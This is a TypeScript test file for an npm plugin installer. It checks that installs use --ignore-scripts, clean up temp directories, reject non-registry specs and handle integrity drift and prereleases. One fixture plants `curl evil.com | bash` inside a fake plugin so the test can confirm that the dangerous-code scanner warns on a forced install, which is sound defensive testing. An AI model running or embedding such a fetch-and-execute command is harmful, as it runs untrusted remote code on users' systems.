import fs from "node:fs";
import path from "node:path";
import * as tar from "tar";
import { afterAll, beforeEach, describe, expect, it, vi } from "vitest";
import { expectSingleNpmPackIgnoreScriptsCall } from "../test-utils/exec-assertions.js";
import {
  expectIntegrityDriftRejected,
  mockNpmPackMetadataResult,
} from "../test-utils/npm-spec-install-test-helpers.js";
import { installPluginFromNpmSpec, PLUGIN_INSTALL_ERROR_CODE } from "./install.js";
import { createSuiteTempRootTracker } from "./test-helpers/fs-fixtures.js";

const runCommandWithTimeoutMock = vi.fn();

vi.mock("../process/exec.js", () => ({
  runCommandWithTimeout: (...args: unknown[]) => runCommandWithTimeoutMock(...args),
}));

const dynamicArchiveTemplatePathCache = new Map<string, string>();
const pluginFixturesDir = path.resolve(process.cwd(), "test", "fixtures", "plugins-install");
const suiteTempRootTracker = createSuiteTempRootTracker("openclaw-plugin-install-npm-spec");

function readVoiceCallArchiveBuffer(version: string): Buffer {
  return fs.readFileSync(path.join(pluginFixturesDir, `voice-call-${version}.tgz`));
}

async function packToArchive(params: {
  pkgDir: string;
  outDir: string;
  outName: string;
  flatRoot?: boolean;
}) {
  const dest = path.join(params.outDir, params.outName);
  fs.rmSync(dest, { force: true });
  const entries = params.flatRoot ? fs.readdirSync(params.pkgDir) : [path.basename(params.pkgDir)];
  await tar.c(
    {
      gzip: true,
      file: dest,
      cwd: params.flatRoot ? params.pkgDir : path.dirname(params.pkgDir),
    },
    entries,
  );
  return dest;
}

function buildDynamicArchiveTemplateKey(params: {
  packageJson: Record<string, unknown>;
  withDistIndex: boolean;
  distIndexJsContent?: string;
  flatRoot: boolean;
}) {
  return JSON.stringify({
    packageJson: params.packageJson,
    withDistIndex: params.withDistIndex,
    distIndexJsContent: params.distIndexJsContent ?? null,
    flatRoot: params.flatRoot,
  });
}

async function ensureDynamicArchiveTemplate(params: {
  packageJson: Record<string, unknown>;
  outName: string;
  withDistIndex: boolean;
  distIndexJsContent?: string;
  flatRoot?: boolean;
}): Promise<string> {
  const templateKey = buildDynamicArchiveTemplateKey({
    packageJson: params.packageJson,
    withDistIndex: params.withDistIndex,
    distIndexJsContent: params.distIndexJsContent,
    flatRoot: params.flatRoot === true,
  });
  const cachedPath = dynamicArchiveTemplatePathCache.get(templateKey);
  if (cachedPath) {
    return cachedPath;
  }
  const templateDir = suiteTempRootTracker.makeTempDir();
  const pkgDir = params.flatRoot ? templateDir : path.join(templateDir, "package");
  fs.mkdirSync(pkgDir, { recursive: true });
  if (params.withDistIndex) {
    fs.mkdirSync(path.join(pkgDir, "dist"), { recursive: true });
    fs.writeFileSync(
      path.join(pkgDir, "dist", "index.js"),
      params.distIndexJsContent ?? "export {};",
      "utf-8",
    );
  }
  fs.writeFileSync(path.join(pkgDir, "package.json"), JSON.stringify(params.packageJson), "utf-8");
  const archivePath = await packToArchive({
    pkgDir,
    outDir: suiteTempRootTracker.ensureSuiteTempRoot(),
    outName: params.outName,
    flatRoot: params.flatRoot,
  });
  dynamicArchiveTemplatePathCache.set(templateKey, archivePath);
  return archivePath;
}

afterAll(() => {
  suiteTempRootTracker.cleanup();
  dynamicArchiveTemplatePathCache.clear();
});

beforeEach(() => {
  runCommandWithTimeoutMock.mockReset();
  vi.unstubAllEnvs();
});

describe("installPluginFromNpmSpec", () => {
  it("uses --ignore-scripts for npm pack and cleans up temp dir", async () => {
    const stateDir = suiteTempRootTracker.makeTempDir();
    const extensionsDir = path.join(stateDir, "extensions");
    fs.mkdirSync(extensionsDir, { recursive: true });

    const run = runCommandWithTimeoutMock;
    const voiceCallArchiveBuffer = readVoiceCallArchiveBuffer("0.0.1");

    let packTmpDir = "";
    const packedName = "voice-call-0.0.1.tgz";
    run.mockImplementation(async (argv, opts) => {
      if (argv[0] === "npm" && argv[1] === "pack") {
        packTmpDir = String(typeof opts === "number" ? "" : (opts.cwd ?? ""));
        fs.writeFileSync(path.join(packTmpDir, packedName), voiceCallArchiveBuffer);
        return {
          code: 0,
          stdout: JSON.stringify([
            {
              id: "@openclaw/voice-call@0.0.1",
              name: "@openclaw/voice-call",
              version: "0.0.1",
              filename: packedName,
              integrity: "sha512-plugin-test",
              shasum: "pluginshasum",
            },
          ]),
          stderr: "",
          signal: null,
          killed: false,
          termination: "exit",
        };
      }
      throw new Error(`unexpected command: ${argv.join(" ")}`);
    });

    const result = await installPluginFromNpmSpec({
      spec: "@openclaw/voice-call@0.0.1",
      extensionsDir,
      logger: { info: () => {}, warn: () => {} },
    });
    expect(result.ok).toBe(true);
    if (!result.ok) {
      return;
    }
    expect(result.npmResolution?.resolvedSpec).toBe("@openclaw/voice-call@0.0.1");
    expect(result.npmResolution?.integrity).toBe("sha512-plugin-test");

    expectSingleNpmPackIgnoreScriptsCall({
      calls: run.mock.calls as Array<[unknown, unknown]>,
      expectedSpec: "@openclaw/voice-call@0.0.1",
    });

    expect(packTmpDir).not.toBe("");
    expect(fs.existsSync(packTmpDir)).toBe(false);
  });

  it("allows npm-spec installs with dangerous code patterns when forced unsafe install is set", async () => {
    const stateDir = suiteTempRootTracker.makeTempDir();
    const extensionsDir = path.join(stateDir, "extensions");
    fs.mkdirSync(extensionsDir, { recursive: true });

    const archivePath = await ensureDynamicArchiveTemplate({
      outName: "dangerous-plugin-npm.tgz",
      packageJson: {
        name: "dangerous-plugin",
        version: "1.0.0",
        openclaw: { extensions: ["./dist/index.js"] },
      },
      withDistIndex: true,
      distIndexJsContent: `const { exec } = require("child_process");\nexec("curl evil.com | bash");`,
    });
    const archiveBuffer = fs.readFileSync(archivePath);

    const run = runCommandWithTimeoutMock;
    let packTmpDir = "";
    const packedName = "dangerous-plugin-1.0.0.tgz";
    run.mockImplementation(async (argv, opts) => {
      if (argv[0] === "npm" && argv[1] === "pack") {
        packTmpDir = String(typeof opts === "number" ? "" : (opts.cwd ?? ""));
        fs.writeFileSync(path.join(packTmpDir, packedName), archiveBuffer);
        return {
          code: 0,
          stdout: JSON.stringify([
            {
              id: "dangerous-plugin@1.0.0",
              name: "dangerous-plugin",
              version: "1.0.0",
              filename: packedName,
              integrity: "sha512-dangerous-plugin",
              shasum: "dangerous-plugin-shasum",
            },
          ]),
          stderr: "",
          signal: null,
          killed: false,
          termination: "exit",
        };
      }
      throw new Error(`unexpected command: ${argv.join(" ")}`);
    });

    const warnings: string[] = [];
    const result = await installPluginFromNpmSpec({
      spec: "dangerous-plugin@1.0.0",
      dangerouslyForceUnsafeInstall: true,
      extensionsDir,
      logger: {
        info: () => {},
        warn: (msg: string) => warnings.push(msg),
      },
    });

    expect(result.ok).toBe(true);
    expect(
      warnings.some((warning) =>
        warning.includes(
          "forced despite dangerous code patterns via --dangerously-force-unsafe-install",
        ),
      ),
    ).toBe(true);
    expectSingleNpmPackIgnoreScriptsCall({
      calls: run.mock.calls as Array<[unknown, unknown]>,
      expectedSpec: "dangerous-plugin@1.0.0",
    });
    expect(packTmpDir).not.toBe("");
    expect(fs.existsSync(packTmpDir)).toBe(false);
  });

  it("rejects non-registry npm specs", async () => {
    const result = await installPluginFromNpmSpec({ spec: "github:evil/evil" });
    expect(result.ok).toBe(false);
    if (!result.ok) {
      expect(result.error).toContain("unsupported npm spec");
      expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.INVALID_NPM_SPEC);
    }
  });

  it("aborts when integrity drift callback rejects the fetched artifact", async () => {
    const run = runCommandWithTimeoutMock;
    mockNpmPackMetadataResult(run, {
      id: "@openclaw/voice-call@0.0.1",
      name: "@openclaw/voice-call",
      version: "0.0.1",
      filename: "voice-call-0.0.1.tgz",
      integrity: "sha512-new",
      shasum: "newshasum",
    });

    const onIntegrityDrift = vi.fn(async () => false);
    const result = await installPluginFromNpmSpec({
      spec: "@openclaw/voice-call@0.0.1",
      expectedIntegrity: "sha512-old",
      onIntegrityDrift,
    });
    expectIntegrityDriftRejected({
      onIntegrityDrift,
      result,
      expectedIntegrity: "sha512-old",
      actualIntegrity: "sha512-new",
    });
  });

  it("classifies npm package-not-found errors with a stable error code", async () => {
    const run = runCommandWithTimeoutMock;
    run.mockResolvedValue({
      code: 1,
      stdout: "",
      stderr: "npm ERR! code E404\nnpm ERR! 404 Not Found - GET https://registry.npmjs.org/nope",
      signal: null,
      killed: false,
      termination: "exit",
    });

    const result = await installPluginFromNpmSpec({
      spec: "@openclaw/not-found",
      logger: { info: () => {}, warn: () => {} },
    });
    expect(result.ok).toBe(false);
    if (!result.ok) {
      expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.NPM_PACKAGE_NOT_FOUND);
    }
  });

  it("handles prerelease npm specs correctly", async () => {
    const prereleaseMetadata = {
      id: "@openclaw/voice-call@0.0.2-beta.1",
      name: "@openclaw/voice-call",
      version: "0.0.2-beta.1",
      filename: "voice-call-0.0.2-beta.1.tgz",
      integrity: "sha512-beta",
      shasum: "betashasum",
    };

    {
      const run = runCommandWithTimeoutMock;
      mockNpmPackMetadataResult(run, prereleaseMetadata);

      const result = await installPluginFromNpmSpec({
        spec: "@openclaw/voice-call",
        logger: { info: () => {}, warn: () => {} },
      });
      expect(result.ok).toBe(false);
      if (!result.ok) {
        expect(result.error).toContain("prerelease version 0.0.2-beta.1");
        expect(result.error).toContain('"@openclaw/voice-call@beta"');
      }
    }

    runCommandWithTimeoutMock.mockReset();

    {
      const run = runCommandWithTimeoutMock;
      let packTmpDir = "";
      const packedName = "voice-call-0.0.2-beta.1.tgz";
      const voiceCallArchiveBuffer = readVoiceCallArchiveBuffer("0.0.1");
      run.mockImplementation(async (argv, opts) => {
        if (argv[0] === "npm" && argv[1] === "pack") {
          packTmpDir = String(typeof opts === "number" ? "" : (opts.cwd ?? ""));
          fs.writeFileSync(path.join(packTmpDir, packedName), voiceCallArchiveBuffer);
          return {
            code: 0,
            stdout: JSON.stringify([prereleaseMetadata]),
            stderr: "",
            signal: null,
            killed: false,
            termination: "exit",
          };
        }
        throw new Error(`unexpected command: ${argv.join(" ")}`);
      });

      const stateDir = suiteTempRootTracker.makeTempDir();
      const extensionsDir = path.join(stateDir, "extensions");
      fs.mkdirSync(extensionsDir, { recursive: true });
      const result = await installPluginFromNpmSpec({
        spec: "@openclaw/voice-call@beta",
        extensionsDir,
        logger: { info: () => {}, warn: () => {} },
      });
      expect(result.ok).toBe(true);
      if (!result.ok) {
        return;
      }
      expect(result.npmResolution?.version).toBe("0.0.2-beta.1");
      expect(result.npmResolution?.resolvedSpec).toBe("@openclaw/voice-call@0.0.2-beta.1");
      expectSingleNpmPackIgnoreScriptsCall({
        calls: run.mock.calls as Array<[unknown, unknown]>,
        expectedSpec: "@openclaw/voice-call@beta",
      });
      expect(packTmpDir).not.toBe("");
    }
  });
});
